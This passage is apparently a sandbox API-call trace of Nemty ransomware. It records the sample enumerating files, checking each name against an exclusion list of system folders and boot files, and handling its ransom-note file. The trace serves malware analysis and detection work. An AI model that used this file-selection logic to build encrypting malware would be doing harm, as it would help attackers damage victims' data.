lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0186.753] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1afa5510, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1afa5510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1afa5510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0186.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0186.754] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0186.754] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0186.754] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0186.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0186.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94200 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.754] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1afa5510, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1afa5510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1afa5510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0186.754] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0186.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0186.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0186.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0186.755] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2=".") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="..") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="...") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="windows") returned -1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="$RECYCLE.BIN") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="rsa") returned -1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="NTDETECT.COM") returned -1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="ntldr") returned -1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="MSDOS.SYS") returned -1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="IO.SYS") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="boot.ini") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="boot.ini") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="AUTOEXEC.BAT") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="ntuser.dat") returned -1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="desktop.ini") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="CONFIG.SYS") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="RECYCLER") returned -1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="BOOTSECT.BAK") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="bootmgr") returned 1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="programdata") returned -1 [0186.755] lstrcmpiW (lpString1="logsession.dll", lpString2="appdata") returned 1 [0186.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logsession.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logsession.dll", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logsession.dll", lpUsedDefaultChar=0x0) returned 14 [0186.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logsession.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logsession.dll", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logsession.dll", lpUsedDefaultChar=0x0) returned 14 [0186.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logsession.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logsession.dll", cchWideChar=14, lpMultiByteStr=0x653ef60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logsession.dll", lpUsedDefaultChar=0x0) returned 14 [0186.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logsession.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logsession.dll", cchWideChar=14, lpMultiByteStr=0x653ef98, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logsession.dll", lpUsedDefaultChar=0x0) returned 14 [0186.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0186.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0186.756] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d1e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2=".") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="..") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="...") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="windows") returned -1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="$RECYCLE.BIN") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="rsa") returned -1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="NTDETECT.COM") returned -1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="ntldr") returned -1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="MSDOS.SYS") returned -1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="IO.SYS") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="boot.ini") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="boot.ini") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="AUTOEXEC.BAT") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="ntuser.dat") returned -1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="desktop.ini") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="CONFIG.SYS") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="RECYCLER") returned -1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="BOOTSECT.BAK") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="bootmgr") returned 1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="programdata") returned -1 [0186.756] lstrcmpiW (lpString1="LogTransport2.exe", lpString2="appdata") returned 1 [0186.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LogTransport2.exe", lpUsedDefaultChar=0x0) returned 17 [0186.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0186.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LogTransport2.exe", lpUsedDefaultChar=0x0) returned 17 [0186.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0186.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LogTransport2.exe", lpUsedDefaultChar=0x0) returned 17 [0186.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LogTransport2.exe", lpUsedDefaultChar=0x0) returned 17 [0186.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0186.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.757] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9808, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Onix32.dll", cAlternateFileName="")) returned 1 [0186.757] lstrcmpiW (lpString1="Onix32.dll", lpString2=".") returned 1 [0186.757] lstrcmpiW (lpString1="Onix32.dll", lpString2="..") returned 1 [0186.757] lstrcmpiW (lpString1="Onix32.dll", lpString2="...") returned 1 [0186.757] lstrcmpiW (lpString1="Onix32.dll", lpString2="windows") returned -1 [0186.757] lstrcmpiW (lpString1="Onix32.dll", lpString2="$RECYCLE.BIN") returned 1 [0186.757] lstrcmpiW (lpString1="Onix32.dll", lpString2="rsa") returned -1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="NTDETECT.COM") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="ntldr") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="MSDOS.SYS") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="IO.SYS") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="boot.ini") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="boot.ini") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="AUTOEXEC.BAT") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="ntuser.dat") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="desktop.ini") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="CONFIG.SYS") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="RECYCLER") returned -1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="BOOTSECT.BAK") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="bootmgr") returned 1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="programdata") returned -1 [0186.758] lstrcmpiW (lpString1="Onix32.dll", lpString2="appdata") returned 1 [0186.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Onix32.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Onix32.dll", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Onix32.dll", lpUsedDefaultChar=0x0) returned 10 [0186.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Onix32.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Onix32.dll", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Onix32.dll", lpUsedDefaultChar=0x0) returned 10 [0186.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Onix32.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Onix32.dll", cchWideChar=10, lpMultiByteStr=0x653ef60, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Onix32.dll", lpUsedDefaultChar=0x0) returned 10 [0186.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Onix32.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Onix32.dll", cchWideChar=10, lpMultiByteStr=0x653ef98, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Onix32.dll", lpUsedDefaultChar=0x0) returned 10 [0186.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0186.758] HeapFree (in: 